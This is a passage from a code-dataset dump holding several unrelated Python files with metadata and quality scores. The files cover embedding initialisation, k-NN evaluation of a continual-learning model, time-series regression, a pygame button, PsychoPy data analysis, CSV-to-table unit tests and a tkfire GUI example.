logger.info('Embeddings are saved.') | import logging
import numpy as np
import tensorflow as tf
def init_tf(vocab_size, args):
# Define the weights matrix going from input to the hidden layer
W1 = tf.Variable(tf.random_uniform([vocab_size + 1, args.emb_size], -0.5, 0.5), dtype=tf.float32, name='W1')
tf.summary.histogram('W1_Sum', W1)
W2 = tf.Variable(tf.truncated_normal([vocab_size - 1, args.emb_size],
stddev=1.0 / args.emb_size ** 0.5), dtype=tf.float32, name='W2')
tf.summary.histogram('W2_Sum', W2)
return W1, W2
def init(vocab_size, args):
W1 = np.random.uniform(low=-0.5, high=0.5, size=(vocab_size + 1, args.emb_size)) / args.emb_size
# Or alternatively, load the one generated by word2vec
if args.use_w2v_weights:
W1 = np.loadtxt(args.w2v_w1_file)
# Insert a row in front of W1, for the UNK symbol
W1 = np.insert(W1, 0, 0, axis=0)
# Insert a row in front of W1, for the PAD symbol
W1 = np.insert(W1, 0, 0, axis=0)
# Initialize the second matrix to zeros.
W2 = np.zeros((args.emb_size, vocab_size + 1), dtype=np.float32)
# First rows are for padding symbol and we don't learn embeddings for that.
W1[0, :] = 0
W2[:, 0] = 0
return W1, W2
def update(parameters, grads, learning_rate=1.2):
# Get the weights
W1 = parameters["W1"]
W2 = parameters["W2"]
# Get the gradients
dE_dW1 = grads["dE_dW1"]
dE_dW2 = grads["dE_dW2"]
W1 = W1 - learning_rate * dE_dW1
W2 = W2 - learning_rate * dE_dW2
parameters["W1"] = W1
parameters["W2"] = W2
return parameters
def save(parameters, args):
logger = logging.getLogger('main')
# Get the weights
W1 = parameters["W1"]
W2 = parameters["W2"]
logger.info('Saving embeddings on a disk.')
np.save(args.w1_file, W1)
np.save(args.w2_file, W2.T)
logger.info('Embeddings are saved.') | en | 0.851256 | # Define the weights matrix going from input to the hidden layer # Or alternatively, load the one generated by word2vec # Insert a row in front of W1, for the UNK symbol # Insert a row in front of W1, for the PAD symbol # Initialize the second matrix to zeros. # First rows are for padding symbol and we don't learn embeddings for that. # Get the weights # Get the gradients # Get the weights | 2.932817 | 3 |
utils/testing.py | albertozurli/mammoth | 0 | 6616212 | from collections import Counter
import numpy.lib.recfunctions
import torch
import pickle
from models.utils.continual_model import ContinualModel
from datasets import get_dataset
from sklearn import metrics
from sklearn.neighbors import KNeighborsClassifier
import time
import matplotlib.pyplot as plt
import numpy as np
def load_model(model, args):
dataset_name = getattr(args, 'dataset')[4:]
model_name = getattr(args, 'model')
if args.subclass:
if args.aux:
model.load_state_dict(torch.load(f"data/saved_model/{dataset_name}/{model_name}/model_sub_aux.pth.tar"))
else:
model.load_state_dict(torch.load(f"data/saved_model/{dataset_name}/{model_name}/model_sub.pth.tar"))
else:
model.load_state_dict(torch.load(f"data/saved_model/{dataset_name}/{model_name}/model.pth.tar"))
return model
def save_lists(filename, listname):
with open(filename, 'wb') as handle:
pickle.dump(listname, handle)
def load_list(filename):
with open(filename, 'rb') as handle:
lst = pickle.load(handle)
return lst
def eval100(model: ContinualModel, args, last=False):
example_list, label_list = [], []
model.net.to(model.device)
model.net.eval()
args.dataset = "seq-cifar100"
dataset = get_dataset(args)
# Generate training set couple examples/labels
for t in range(dataset.N_TASKS):
train_loader, _ = dataset.get_data_loaders()
for data in train_loader:
with torch.no_grad():
inputs, labels, _ = data
inputs, labels = inputs.to(model.device), labels.to(model.device)
outputs = model(inputs)
for x, y in zip(outputs, labels):
example_list.append(x)
label_list.append(y.item())
print(f"Task {t} train completed")
save_lists('train_examples.pickle', example_list)
save_lists('train_labels.pickle', label_list)
# Generate training set couple examples/labels
example_list, label_list = [], []
for k, test_loader in enumerate(dataset.test_loaders):
for data in test_loader:
with torch.no_grad():
inputs, labels = data
inputs, labels = inputs.to(model.device), labels.to(model.device)
outputs = model(inputs)
for x, y in zip(outputs, labels):
example_list.append(x)
label_list.append(y.item())
print(f"Task {k} test completed")
save_lists('test_examples.pickle', example_list)
save_lists('test_labels.pickle', label_list)
x_train = load_list('train_examples.pickle')
x_train = [i.cpu().numpy() for i in x_train]
x_train = np.vstack(x_train)
x_test = load_list('test_examples.pickle')
x_test = [i.cpu().numpy() for i in x_test]
x_test = np.vstack(x_test)
feature_list = [[] for i in range(x_train.shape[1])]
for f in range(x_train.shape[1]):
feature_list[f] = x_train[:,f]
mean_list = [np.mean(feature) for feature in feature_list]
std_list = [np.std(feature) for feature in feature_list]
for idx,l in enumerate(feature_list):
feature_list[idx] = (l-mean_list[idx])/std_list[idx]
x_train = np.transpose(np.vstack(feature_list))
feature_list = [[] for i in range(x_test.shape[1])]
for f in range(x_test.shape[1]):
feature_list[f] = x_test[:, f]
for idx, l in enumerate(feature_list):
feature_list[idx] = (l - mean_list[idx]) / std_list[idx]
x_test = np.transpose(np.vstack(feature_list))
y_train = load_list('train_labels.pickle')
y_test = load_list('test_labels.pickle')
knn = KNeighborsClassifier(n_neighbors=64)
knn.fit(x_train, y_train)
y_pred = knn.predict(x_test)
print(f"Accuracy: {metrics.accuracy_score(y_test, y_pred)}")
| from collections import Counter
import numpy.lib.recfunctions
import torch
import pickle
from models.utils.continual_model import ContinualModel
from datasets import get_dataset
from sklearn import metrics
from sklearn.neighbors import KNeighborsClassifier
import time
import matplotlib.pyplot as plt
import numpy as np
def load_model(model, args):
dataset_name = getattr(args, 'dataset')[4:]
model_name = getattr(args, 'model')
if args.subclass:
if args.aux:
model.load_state_dict(torch.load(f"data/saved_model/{dataset_name}/{model_name}/model_sub_aux.pth.tar"))
else:
model.load_state_dict(torch.load(f"data/saved_model/{dataset_name}/{model_name}/model_sub.pth.tar"))
else:
model.load_state_dict(torch.load(f"data/saved_model/{dataset_name}/{model_name}/model.pth.tar"))
return model
def save_lists(filename, listname):
with open(filename, 'wb') as handle:
pickle.dump(listname, handle)
def load_list(filename):
with open(filename, 'rb') as handle:
lst = pickle.load(handle)
return lst
def eval100(model: ContinualModel, args, last=False):
example_list, label_list = [], []
model.net.to(model.device)
model.net.eval()
args.dataset = "seq-cifar100"
dataset = get_dataset(args)
# Generate training set couple examples/labels
for t in range(dataset.N_TASKS):
train_loader, _ = dataset.get_data_loaders()
for data in train_loader:
with torch.no_grad():
inputs, labels, _ = data
inputs, labels = inputs.to(model.device), labels.to(model.device)
outputs = model(inputs)
for x, y in zip(outputs, labels):
example_list.append(x)
label_list.append(y.item())
print(f"Task {t} train completed")
save_lists('train_examples.pickle', example_list)
save_lists('train_labels.pickle', label_list)
# Generate training set couple examples/labels
example_list, label_list = [], []
for k, test_loader in enumerate(dataset.test_loaders):
for data in test_loader:
with torch.no_grad():
inputs, labels = data
inputs, labels = inputs.to(model.device), labels.to(model.device)
outputs = model(inputs)
for x, y in zip(outputs, labels):
example_list.append(x)
label_list.append(y.item())
print(f"Task {k} test completed")
save_lists('test_examples.pickle', example_list)
save_lists('test_labels.pickle', label_list)
x_train = load_list('train_examples.pickle')
x_train = [i.cpu().numpy() for i in x_train]
x_train = np.vstack(x_train)
x_test = load_list('test_examples.pickle')
x_test = [i.cpu().numpy() for i in x_test]
x_test = np.vstack(x_test)
feature_list = [[] for i in range(x_train.shape[1])]
for f in range(x_train.shape[1]):
feature_list[f] = x_train[:,f]
mean_list = [np.mean(feature) for feature in feature_list]
std_list = [np.std(feature) for feature in feature_list]
for idx,l in enumerate(feature_list):
feature_list[idx] = (l-mean_list[idx])/std_list[idx]
x_train = np.transpose(np.vstack(feature_list))
feature_list = [[] for i in range(x_test.shape[1])]
for f in range(x_test.shape[1]):
feature_list[f] = x_test[:, f]
for idx, l in enumerate(feature_list):
feature_list[idx] = (l - mean_list[idx]) / std_list[idx]
x_test = np.transpose(np.vstack(feature_list))
y_train = load_list('train_labels.pickle')
y_test = load_list('test_labels.pickle')
knn = KNeighborsClassifier(n_neighbors=64)
knn.fit(x_train, y_train)
y_pred = knn.predict(x_test)
print(f"Accuracy: {metrics.accuracy_score(y_test, y_pred)}")
| en | 0.739709 | # Generate training set couple examples/labels # Generate training set couple examples/labels | 2.328292 | 2 |
Time Series/01.Linear_Regression_With_Time_Series.py | Jumanazarov-Shukrullo/Python-100-days | 1 | 6616213 | # Linear Regression With Time Series
# Setup feedback system
from learntools.core import binder
binder.bind(globals())
from learntools.time_series.ex1 import *
# Setup notebook
from pathlib import Path
from learntools.time_series.style import * # plot style settings
import pandas as pd
import matplotlib.pyplot as plt
import numpy as np
import seaborn as sns
from sklearn.linear_model import LinearRegression
data_dir = Path('../input/ts-course-data/')
comp_dir = Path('../input/store-sales-time-series-forecasting')
book_sales = pd.read_csv(
data_dir / 'book_sales.csv',
index_col='Date',
parse_dates=['Date'],
).drop('Paperback', axis=1)
book_sales['Time'] = np.arange(len(book_sales.index))
book_sales['Lag_1'] = book_sales['Hardcover'].shift(1)
book_sales = book_sales.reindex(columns=['Hardcover', 'Time', 'Lag_1'])
ar = pd.read_csv(data_dir / 'ar.csv')
dtype = {
'store_nbr': 'category',
'family': 'category',
'sales': 'float32',
'onpromotion': 'uint64',
}
store_sales = pd.read_csv(
comp_dir / 'train.csv',
dtype=dtype,
parse_dates=['date'],
infer_datetime_format=True,
)
store_sales = store_sales.set_index('date').to_period('D')
store_sales = store_sales.set_index(['store_nbr', 'family'], append=True)
average_sales = store_sales.groupby('date').mean()['sales']
fig, ax = plt.subplots()
ax.plot('Time', 'Hardcover', data=book_sales, color='0.75')
ax = sns.regplot(x='Time', y='Hardcover', data=book_sales, ci=None, scatter_kws=dict(color='0.25'))
ax.set_title('Time Plot of Hardcover Sales');
from sklearn.linear_model import LinearRegression
df = average_sales.to_frame()
time = np.arange(len(df.index)) # time dummy
df['time'] = time
X = df.loc[:, ['time']] # features
y = df.loc[:, 'sales'] # target
model = LinearRegression()
model.fit(X, y)
y_pred = pd.Series(model.predict(X), index=X.index)
ax = y.plot(**plot_params, alpha=0.5)
ax = y_pred.plot(ax=ax, linewidth=3)
ax.set_title('Time Plot of Total Store Sales');
df = average_sales.to_frame()
lag_1 = df['sales'].shift(1)
df['lag_1'] = lag_1
X = df.loc[:, ['lag_1']]
X.dropna(inplace=True) # drop missing values in the feature set
y = df.loc[:, 'sales'] # create the target
y, X = y.align(X, join='inner') # drop corresponding values in target
model = LinearRegression()
model.fit(X, y)
y_pred = pd.Series(model.predict(X), index=X.index)
fig, ax = plt.subplots()
ax.plot(X['lag_1'], y, '.', color='0.25')
ax.plot(X['lag_1'], y_pred)
ax.set(aspect='equal', ylabel='sales', xlabel='lag_1', title='Lag Plot of Average Sales');
| # Linear Regression With Time Series
# Setup feedback system
from learntools.core import binder
binder.bind(globals())
from learntools.time_series.ex1 import *
# Setup notebook
from pathlib import Path
from learntools.time_series.style import * # plot style settings
import pandas as pd
import matplotlib.pyplot as plt
import numpy as np
import seaborn as sns
from sklearn.linear_model import LinearRegression
data_dir = Path('../input/ts-course-data/')
comp_dir = Path('../input/store-sales-time-series-forecasting')
book_sales = pd.read_csv(
data_dir / 'book_sales.csv',
index_col='Date',
parse_dates=['Date'],
).drop('Paperback', axis=1)
book_sales['Time'] = np.arange(len(book_sales.index))
book_sales['Lag_1'] = book_sales['Hardcover'].shift(1)
book_sales = book_sales.reindex(columns=['Hardcover', 'Time', 'Lag_1'])
ar = pd.read_csv(data_dir / 'ar.csv')
dtype = {
'store_nbr': 'category',
'family': 'category',
'sales': 'float32',
'onpromotion': 'uint64',
}
store_sales = pd.read_csv(
comp_dir / 'train.csv',
dtype=dtype,
parse_dates=['date'],
infer_datetime_format=True,
)
store_sales = store_sales.set_index('date').to_period('D')
store_sales = store_sales.set_index(['store_nbr', 'family'], append=True)
average_sales = store_sales.groupby('date').mean()['sales']
fig, ax = plt.subplots()
ax.plot('Time', 'Hardcover', data=book_sales, color='0.75')
ax = sns.regplot(x='Time', y='Hardcover', data=book_sales, ci=None, scatter_kws=dict(color='0.25'))
ax.set_title('Time Plot of Hardcover Sales');
from sklearn.linear_model import LinearRegression
df = average_sales.to_frame()
time = np.arange(len(df.index)) # time dummy
df['time'] = time
X = df.loc[:, ['time']] # features
y = df.loc[:, 'sales'] # target
model = LinearRegression()
model.fit(X, y)
y_pred = pd.Series(model.predict(X), index=X.index)
ax = y.plot(**plot_params, alpha=0.5)
ax = y_pred.plot(ax=ax, linewidth=3)
ax.set_title('Time Plot of Total Store Sales');
df = average_sales.to_frame()
lag_1 = df['sales'].shift(1)
df['lag_1'] = lag_1
X = df.loc[:, ['lag_1']]
X.dropna(inplace=True) # drop missing values in the feature set
y = df.loc[:, 'sales'] # create the target
y, X = y.align(X, join='inner') # drop corresponding values in target
model = LinearRegression()
model.fit(X, y)
y_pred = pd.Series(model.predict(X), index=X.index)
fig, ax = plt.subplots()
ax.plot(X['lag_1'], y, '.', color='0.25')
ax.plot(X['lag_1'], y_pred)
ax.set(aspect='equal', ylabel='sales', xlabel='lag_1', title='Lag Plot of Average Sales');
| en | 0.583781 | # Linear Regression With Time Series # Setup feedback system # Setup notebook # plot style settings # time dummy # features # target # drop missing values in the feature set # create the target # drop corresponding values in target | 2.979774 | 3 |
buttom.py | mizunashi-sh/flappy-bird-remastered | 2 | 6616214 | <gh_stars>1-10
import pygame
class Buttom():
"""表示按键的类"""
def __init__(self, init_settings, screen):
"""初始化"""
# 导入屏幕和默认设置
self.screen = screen
self.init_settings = init_settings
# 导入图片资源,获取rect
self.image = pygame.image.load('resources/sprites/button_play.png')
self.rect = self.image.get_rect()
# 设定位置
self.rect.x = 0.3 * self.init_settings.screen_width
self.rect.y = 0.5 * self.init_settings.screen_height
def blitme(self):
"""显示按键"""
self.screen.blit(self.image, self.rect)
| import pygame
class Buttom():
"""表示按键的类"""
def __init__(self, init_settings, screen):
"""初始化"""
# 导入屏幕和默认设置
self.screen = screen
self.init_settings = init_settings
# 导入图片资源,获取rect
self.image = pygame.image.load('resources/sprites/button_play.png')
self.rect = self.image.get_rect()
# 设定位置
self.rect.x = 0.3 * self.init_settings.screen_width
self.rect.y = 0.5 * self.init_settings.screen_height
def blitme(self):
"""显示按键"""
self.screen.blit(self.image, self.rect) | zh | 0.971227 | 表示按键的类 初始化 # 导入屏幕和默认设置 # 导入图片资源,获取rect # 设定位置 显示按键 | 3.142341 | 3 |
venv/Lib/site-packages/psychopy/demos/coder/experiment control/gammaMotionAnalysis.py | mintzer/pupillometry-rf-back | 0 | 6616215 | <reponame>mintzer/pupillometry-rf-back<filename>venv/Lib/site-packages/psychopy/demos/coder/experiment control/gammaMotionAnalysis.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Use this script to analyze data from the gammaMotionNull.py
script.
Instructions: From the dialogue box select multiple staircases (Cmd-click
or shift-click) to plot the results
"""
from __future__ import absolute_import, division, print_function
import matplotlib
matplotlib.use('TKAgg')
from psychopy import data, gui, core
from psychopy.tools.filetools import fromFile
import pylab
import numpy as num
files = gui.fileOpenDlg('.')
if not files:
core.quit()
# get the data from all the files
allIntensities, allResponses = [], []
for thisFileName in files:
thisDat = fromFile(thisFileName)
assert isinstance(thisDat, data.StairHandler)
allIntensities.append( thisDat.intensities )
allResponses.append( thisDat.data )
# plot each staircase
pylab.subplot(121)
lines, names = [], []
for fileN, thisStair in enumerate(allIntensities):
# lines.extend(pylab.plot(thisStair))
# names = files[fileN]
pylab.plot(thisStair, label=files[fileN])
# pylab.legend()
# get combined data
i, r, n = data.functionFromStaircase(allIntensities, allResponses, 'unique')
combinedInten, combinedResp, combinedN = i, r, n
# fit curve
guess =[num.average(combinedInten), num.average(combinedInten)/5]
fit = data.FitWeibull(combinedInten, combinedResp, guess=guess, expectedMin=0.0)
smoothInt = num.arange(min(combinedInten), max(combinedInten), 0.001)
smoothResp = fit.eval(smoothInt)
thresh = fit.inverse(0.5)
print(thresh)
# plot curve
pylab.subplot(122)
pylab.plot(smoothInt, smoothResp, '-')
pylab.plot([thresh, thresh], [0, 0.5], '--')
pylab.plot([0, thresh], [0.5, 0.5], '--')
pylab.title('threshold = %0.3f' %(thresh))
# plot points
pylab.plot(combinedInten, combinedResp, 'o')
pylab.ylim([0, 1])
pylab.show()
core.quit()
# The contents of this file are in the public domain.
| control/gammaMotionAnalysis.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Use this script to analyze data from the gammaMotionNull.py
script.
Instructions: From the dialogue box select multiple staircases (Cmd-click
or shift-click) to plot the results
"""
from __future__ import absolute_import, division, print_function
import matplotlib
matplotlib.use('TKAgg')
from psychopy import data, gui, core
from psychopy.tools.filetools import fromFile
import pylab
import numpy as num
files = gui.fileOpenDlg('.')
if not files:
core.quit()
# get the data from all the files
allIntensities, allResponses = [], []
for thisFileName in files:
thisDat = fromFile(thisFileName)
assert isinstance(thisDat, data.StairHandler)
allIntensities.append( thisDat.intensities )
allResponses.append( thisDat.data )
# plot each staircase
pylab.subplot(121)
lines, names = [], []
for fileN, thisStair in enumerate(allIntensities):
# lines.extend(pylab.plot(thisStair))
# names = files[fileN]
pylab.plot(thisStair, label=files[fileN])
# pylab.legend()
# get combined data
i, r, n = data.functionFromStaircase(allIntensities, allResponses, 'unique')
combinedInten, combinedResp, combinedN = i, r, n
# fit curve
guess =[num.average(combinedInten), num.average(combinedInten)/5]
fit = data.FitWeibull(combinedInten, combinedResp, guess=guess, expectedMin=0.0)
smoothInt = num.arange(min(combinedInten), max(combinedInten), 0.001)
smoothResp = fit.eval(smoothInt)
thresh = fit.inverse(0.5)
print(thresh)
# plot curve
pylab.subplot(122)
pylab.plot(smoothInt, smoothResp, '-')
pylab.plot([thresh, thresh], [0, 0.5], '--')
pylab.plot([0, thresh], [0.5, 0.5], '--')
pylab.title('threshold = %0.3f' %(thresh))
# plot points
pylab.plot(combinedInten, combinedResp, 'o')
pylab.ylim([0, 1])
pylab.show()
core.quit()
# The contents of this file are in the public domain. | en | 0.703474 | #!/usr/bin/env python # -*- coding: utf-8 -*- Use this script to analyze data from the gammaMotionNull.py script. Instructions: From the dialogue box select multiple staircases (Cmd-click or shift-click) to plot the results # get the data from all the files # plot each staircase # lines.extend(pylab.plot(thisStair)) # names = files[fileN] # pylab.legend() # get combined data # fit curve # plot curve # plot points # The contents of this file are in the public domain. | 2.602175 | 3 |
csv_to_db_table_test.py | docoleman/csv-to-db-table | 0 | 6616216 | import unittest
from unittest.mock import Mock
import argparse
import csv_to_db_table
## Test csv_to_db_table
## Two fixtures available
## test0.csv
## test_empty.csv
class TestCsvToDbTable(unittest.TestCase):
def setUp(self):
argParser = Mock(argparse.ArgumentParser)
self.csvToDbTable=csv_to_db_table.CsvToDbTable(argParser)
def test_valid_table_name_valid(self):
self.assertTrue(self.csvToDbTable.valid_table_name(
'good_name', ['bad_name', 'invalid_name']
)['valid'])
def test_valid_table_name_in_banned_list(self):
self.assertFalse(self.csvToDbTable.valid_table_name(
'bad_name', ['bad_name', 'invalid_name']
)['valid'])
def test_valid_table_name_too_long(self):
table_name = ("ThisNameIsWayTooLongIfItWasShorterItWouldBeValidButIt"
"IsTooLongSoItIsNotValid")
expected = ("ThisNameIsWayTooLongIfItWasShorterItWouldBeValidButItIs"
"TooLongSoItIsNotValid is too long. Please use 64 or fewer"
" characters")
actual = self.csvToDbTable.valid_table_name(
table_name,
['bad_name', 'invalid_name']
)
self.assertFalse(actual['valid'])
self.assertEqual(expected, actual['message'])
def test_valid_table_name_spaces(self):
expected = ("Table name cannot contain whitespace. Please remove "
"whitespace from bad name")
actual = self.csvToDbTable.valid_table_name(
'bad name', ['bad_name', 'invalid_name']
)
self.assertFalse(actual['valid'])
self.assertEqual(expected, actual['message'])
def test_format_column_upper(self):
self.assertEqual("upper", self.csvToDbTable.format_column("UPPER"))
def test_format_column_no_change(self):
self.assertEqual("no-change", self.csvToDbTable.format_column("no-change"))
def test_format_column_empty_string(self):
self.assertEqual("", self.csvToDbTable.format_column(""))
def test_format_column_spaces(self):
self.assertEqual("s_paces", self.csvToDbTable.format_column("s paces"))
def test_format_column_max_length(self):
name = ("thisnameiswaytoolongifitwasshorteritwouldbevalidbutit"
"istoolongsoitwillbeshortened")
expected = ("thisnameiswaytoolongifitwasshorteritwouldbevalidbutitis"
"toolongso")
self.assertEqual(expected, self.csvToDbTable.format_column(name))
if __name__ == "__main__":
unittest.main()
| import unittest
from unittest.mock import Mock
import argparse
import csv_to_db_table
## Test csv_to_db_table
## Two fixtures available
## test0.csv
## test_empty.csv
class TestCsvToDbTable(unittest.TestCase):
def setUp(self):
argParser = Mock(argparse.ArgumentParser)
self.csvToDbTable=csv_to_db_table.CsvToDbTable(argParser)
def test_valid_table_name_valid(self):
self.assertTrue(self.csvToDbTable.valid_table_name(
'good_name', ['bad_name', 'invalid_name']
)['valid'])
def test_valid_table_name_in_banned_list(self):
self.assertFalse(self.csvToDbTable.valid_table_name(
'bad_name', ['bad_name', 'invalid_name']
)['valid'])
def test_valid_table_name_too_long(self):
table_name = ("ThisNameIsWayTooLongIfItWasShorterItWouldBeValidButIt"
"IsTooLongSoItIsNotValid")
expected = ("ThisNameIsWayTooLongIfItWasShorterItWouldBeValidButItIs"
"TooLongSoItIsNotValid is too long. Please use 64 or fewer"
" characters")
actual = self.csvToDbTable.valid_table_name(
table_name,
['bad_name', 'invalid_name']
)
self.assertFalse(actual['valid'])
self.assertEqual(expected, actual['message'])
def test_valid_table_name_spaces(self):
expected = ("Table name cannot contain whitespace. Please remove "
"whitespace from bad name")
actual = self.csvToDbTable.valid_table_name(
'bad name', ['bad_name', 'invalid_name']
)
self.assertFalse(actual['valid'])
self.assertEqual(expected, actual['message'])
def test_format_column_upper(self):
self.assertEqual("upper", self.csvToDbTable.format_column("UPPER"))
def test_format_column_no_change(self):
self.assertEqual("no-change", self.csvToDbTable.format_column("no-change"))
def test_format_column_empty_string(self):
self.assertEqual("", self.csvToDbTable.format_column(""))
def test_format_column_spaces(self):
self.assertEqual("s_paces", self.csvToDbTable.format_column("s paces"))
def test_format_column_max_length(self):
name = ("thisnameiswaytoolongifitwasshorteritwouldbevalidbutit"
"istoolongsoitwillbeshortened")
expected = ("thisnameiswaytoolongifitwasshorteritwouldbevalidbutitis"
"toolongso")
self.assertEqual(expected, self.csvToDbTable.format_column(name))
if __name__ == "__main__":
unittest.main()
| en | 0.105867 | ## Test csv_to_db_table ## Two fixtures available ## test0.csv ## test_empty.csv | 3.450014 | 3 |
main.py | RBCanty/TkFire | 0 | 6616217 | import tkfire
from tkfire import tk, LAYOUT, TYPE, CHILDREN, LB33, TB33, BOTH33, PACK_SCROLL
from pprint import pprint
import yaml
from io import StringIO
# Step 1, create a Tk or TopLevel object for the GUI
core = tk.Tk()
# Step 2, Create variables or other functions which will plug into the GUI
memory = dict()
memory['Opt1'] = tk.IntVar
memory['Opt2'] = tk.IntVar
memory['Opt3'] = tk.IntVar
memory['options'] = [1, 2, 3, 4, 5]
memory['btn_cmd'] = lambda: print("Hello")
# Step 2b, create any custom widgets you may need
class YamlBox:
def __init__(self, core):
self.core = core
self.frame = tk.Frame(self.core)
# self.frame.pack(**TB33)
self.container = tk.Frame(self.frame)
self.container.pack(**TB33)
self.scrolly = tk.Scrollbar(self.container)
self.scrollx = tk.Scrollbar(self.container, orient='horizontal')
self.scrolly.pack(PACK_SCROLL)
self.scrollx.pack(side=tk.BOTTOM, fill=tk.X)
self.textbox = tk.Text(self.container,
yscrollcommand=self.scrolly.set,
xscrollcommand=self.scrollx.set,
width=18,
height=5,
wrap=tk.NONE)
self.textbox.pack(**LB33)
self.scrolly.config(command=self.textbox.yview)
self.scrollx.config(command=self.textbox.xview)
self.notif_frame = tk.Frame(self.frame)
self.notif_frame.pack(**TB33)
self.notification = tk.Label(self.notif_frame, text='--')
self.notification.pack(**BOTH33)
def get(self, start, end):
text = self.textbox.get(start, end)
try:
doc = yaml.safe_load(text)
except yaml.YAMLError as ye:
mark = ye.problem_mark # it's fine
line = mark.line + 1
column = mark.column + 1
self.notification['text'] = f'YAML Error: L{line} C{column}'
return None
else:
self.notification['text'] = '--'
return doc
def delete(self, start, end):
return self.textbox.delete(start, end)
def insert(self, where, what):
stream = StringIO()
yaml.safe_dump(what, stream)
self.textbox.insert(where, stream.getvalue())
del stream
def pack(self, *args, **kwargs):
return self.frame.pack(*args, **kwargs)
def grid(self, *args, **kwargs):
return self.frame.grid(*args, **kwargs)
# Step 2c, Create a generatrix for the TkFire object
generator = tkfire.Generatrix({'YAML_Entry': YamlBox})
# Step 3, Define the structure of the GUI
# 'Name of Element' (cannot contain '!')
# LAYOUT: [packing method ('pack' or 'grid'), args]
# TYPE: [name of tk, st, ttk, or custom widget, args]
# CHILDREN: (Optional) dict(Elements for which this element is the parent frame)
mother = {
'left_panel': {
LAYOUT: ['pack', LB33],
TYPE: ["LabelFrame", {'text': "Left Side", 'width': 16}],
CHILDREN: {
'Button1': {
TYPE: ['Button', {'text': "Button 1", 'command': 'btn_cmd'}],
LAYOUT: ['grid', {'row': 0, 'column': 0}],
},
'Button2': {
TYPE: ['Button', {'text': "Button 2", 'command': 'btn_cmd'}],
LAYOUT: ['grid', {'row': 1, 'column': 0}],
},
'Button3': {
TYPE: ['Button', {'text': "Button 3", 'command': 'btn_cmd'}],
LAYOUT: ['grid', {'row': 2, 'column': 0}],
},
'my_yaml_box': {
TYPE: ['YAML_Entry', {}],
LAYOUT: ['grid', {'row': 0, 'column': 1, 'rowspan': 3}]
},
'scrolled_text': {
TYPE: ["ScrolledText", {'wrap': tk.WORD, 'width': 16, 'height': 12}],
LAYOUT: ['grid', {'row': 3, 'column': 1}],
CHILDREN: {
'my_entry': {
TYPE: ['Entry', {}],
LAYOUT: ['pack', LB33]
}
}
}
},
},
'right_panel': {
'LAYOUT': ['pack', LB33],
'TYPE': ["LabelFrame", {'text': "Right Side", 'width': 16}],
'CHILDREN': {
'Option1': {
TYPE: ['OptionMenu', {'variable': ['Opt1', {'value': 0}], 'values': 'options'}],
LAYOUT: ['pack', TB33],
},
'Option2': {
TYPE: ['OptionMenu', {'variable': ['Opt2', {'value': 0}], 'values': 'options'}],
LAYOUT: ['pack', TB33],
},
'Option3': {
TYPE: ['OptionMenu', {'variable': ['Opt3', {'value': 0}], 'values': 'options'}],
LAYOUT: ['pack', TB33],
},
},
},
}
# Step 4, Create the TkFire object (if no generator is provided, it will use the default version)
my_gui = tkfire.TkFire(core, memory, mother, generator=generator)
# In order to address GUI elements after creation, use a bang-path call on the 'gui' attribute:
my_gui.gui['left_panel!scrolled_text!my_entry'].insert(0, "hello world")
# Step 5, Run the gui
core.mainloop()
pprint(my_gui.gui)
| import tkfire
from tkfire import tk, LAYOUT, TYPE, CHILDREN, LB33, TB33, BOTH33, PACK_SCROLL
from pprint import pprint
import yaml
from io import StringIO
# Step 1, create a Tk or TopLevel object for the GUI
core = tk.Tk()
# Step 2, Create variables or other functions which will plug into the GUI
memory = dict()
memory['Opt1'] = tk.IntVar
memory['Opt2'] = tk.IntVar
memory['Opt3'] = tk.IntVar
memory['options'] = [1, 2, 3, 4, 5]
memory['btn_cmd'] = lambda: print("Hello")
# Step 2b, create any custom widgets you may need
class YamlBox:
def __init__(self, core):
self.core = core
self.frame = tk.Frame(self.core)
# self.frame.pack(**TB33)
self.container = tk.Frame(self.frame)
self.container.pack(**TB33)
self.scrolly = tk.Scrollbar(self.container)
self.scrollx = tk.Scrollbar(self.container, orient='horizontal')
self.scrolly.pack(PACK_SCROLL)
self.scrollx.pack(side=tk.BOTTOM, fill=tk.X)
self.textbox = tk.Text(self.container,
yscrollcommand=self.scrolly.set,
xscrollcommand=self.scrollx.set,
width=18,
height=5,
wrap=tk.NONE)
self.textbox.pack(**LB33)
self.scrolly.config(command=self.textbox.yview)
self.scrollx.config(command=self.textbox.xview)
self.notif_frame = tk.Frame(self.frame)
self.notif_frame.pack(**TB33)
self.notification = tk.Label(self.notif_frame, text='--')
self.notification.pack(**BOTH33)
def get(self, start, end):
text = self.textbox.get(start, end)
try:
doc = yaml.safe_load(text)
except yaml.YAMLError as ye:
mark = ye.problem_mark # it's fine
line = mark.line + 1
column = mark.column + 1
self.notification['text'] = f'YAML Error: L{line} C{column}'
return None
else:
self.notification['text'] = '--'
return doc
def delete(self, start, end):
return self.textbox.delete(start, end)
def insert(self, where, what):
stream = StringIO()
yaml.safe_dump(what, stream)
self.textbox.insert(where, stream.getvalue())
del stream
def pack(self, *args, **kwargs):
return self.frame.pack(*args, **kwargs)
def grid(self, *args, **kwargs):
return self.frame.grid(*args, **kwargs)
# Step 2c, Create a generatrix for the TkFire object
generator = tkfire.Generatrix({'YAML_Entry': YamlBox})
# Step 3, Define the structure of the GUI
# 'Name of Element' (cannot contain '!')
# LAYOUT: [packing method ('pack' or 'grid'), args]
# TYPE: [name of tk, st, ttk, or custom widget, args]
# CHILDREN: (Optional) dict(Elements for which this element is the parent frame)
mother = {
'left_panel': {
LAYOUT: ['pack', LB33],
TYPE: ["LabelFrame", {'text': "Left Side", 'width': 16}],
CHILDREN: {
'Button1': {
TYPE: ['Button', {'text': "Button 1", 'command': 'btn_cmd'}],
LAYOUT: ['grid', {'row': 0, 'column': 0}],
},
'Button2': {
TYPE: ['Button', {'text': "Button 2", 'command': 'btn_cmd'}],
LAYOUT: ['grid', {'row': 1, 'column': 0}],
},
'Button3': {
TYPE: ['Button', {'text': "Button 3", 'command': 'btn_cmd'}],
LAYOUT: ['grid', {'row': 2, 'column': 0}],
},
'my_yaml_box': {
TYPE: ['YAML_Entry', {}],
LAYOUT: ['grid', {'row': 0, 'column': 1, 'rowspan': 3}]
},
'scrolled_text': {
TYPE: ["ScrolledText", {'wrap': tk.WORD, 'width': 16, 'height': 12}],
LAYOUT: ['grid', {'row': 3, 'column': 1}],
CHILDREN: {
'my_entry': {
TYPE: ['Entry', {}],
LAYOUT: ['pack', LB33]
}
}
}
},
},
'right_panel': {
'LAYOUT': ['pack', LB33],
